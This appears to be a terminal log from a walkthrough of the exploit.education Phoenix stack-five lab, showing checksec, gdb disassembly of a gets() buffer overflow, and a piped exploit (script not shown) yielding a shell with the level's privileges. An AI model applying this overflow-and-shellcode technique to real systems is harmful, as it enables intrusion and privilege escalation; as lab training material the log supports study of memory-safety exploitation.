/* * phoenix/stack-five, by https://exploit.education * * Can you execve("/bin/sh", ...) ? * * What is green and goes to summer camp? A brussel scout. */
user@phoenix-amd64:~$ checksec /opt/phoenix/amd64/stack-five [*] '/opt/phoenix/amd64/stack-five' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments RPATH: '/opt/phoenix/x86_64-linux-musl/lib'
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-five Reading symbols from /opt/phoenix/amd64/stack-five...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: 0x00000000004005a4 <+0>: push %rbp 0x00000000004005a5 <+1>: mov %rsp,%rbp 0x00000000004005a8 <+4>: sub $0x10,%rsp 0x00000000004005ac <+8>: mov %edi,-0x4(%rbp) 0x00000000004005af <+11>: mov %rsi,-0x10(%rbp) 0x00000000004005b3 <+15>: mov $0x400620,%edi 0x00000000004005b8 <+20>: callq 0x400400 <puts@plt> 0x00000000004005bd <+25>: mov $0x0,%eax 0x00000000004005c2 <+30>: callq 0x40058d <start_level> 0x00000000004005c7 <+35>: mov $0x0,%eax 0x00000000004005cc <+40>: leaveq 0x00000000004005cd <+41>: retq End of assembler dump. (gdb) disassemble start_level Dump of assembler code for function start_level: 0x000000000040058d <+0>: push %rbp 0x000000000040058e <+1>: mov %rsp,%rbp 0x0000000000400591 <+4>: add $0xffffffffffffff80,%rsp 0x0000000000400595 <+8>: lea -0x80(%rbp),%rax 0x0000000000400599 <+12>: mov %rax,%rdi 0x000000000040059c <+15>: callq 0x4003f0 <gets@plt> 0x00000000004005a1 <+20>: nop 0x00000000004005a2 <+21>: leaveq 0x00000000004005a3 <+22>: retq End of assembler dump.
(gdb) break *0x00000000004005a1 Breakpoint 1 at 0x4005a1 (gdb) r Starting program: /opt/phoenix/amd64/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education AAAA
Breakpoint 1, 0x00000000004005a1 in start_level ()
user@phoenix-amd64:~$ python exp5.py > five2 user@phoenix-amd64:~$ cat five2 | /opt/phoenix/amd64/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education user@phoenix-amd64:~$ cat five2 - | /opt/phoenix/amd64/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education id uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user) whoami phoenix-amd64-stack-five ^C user@phoenix-amd64:~$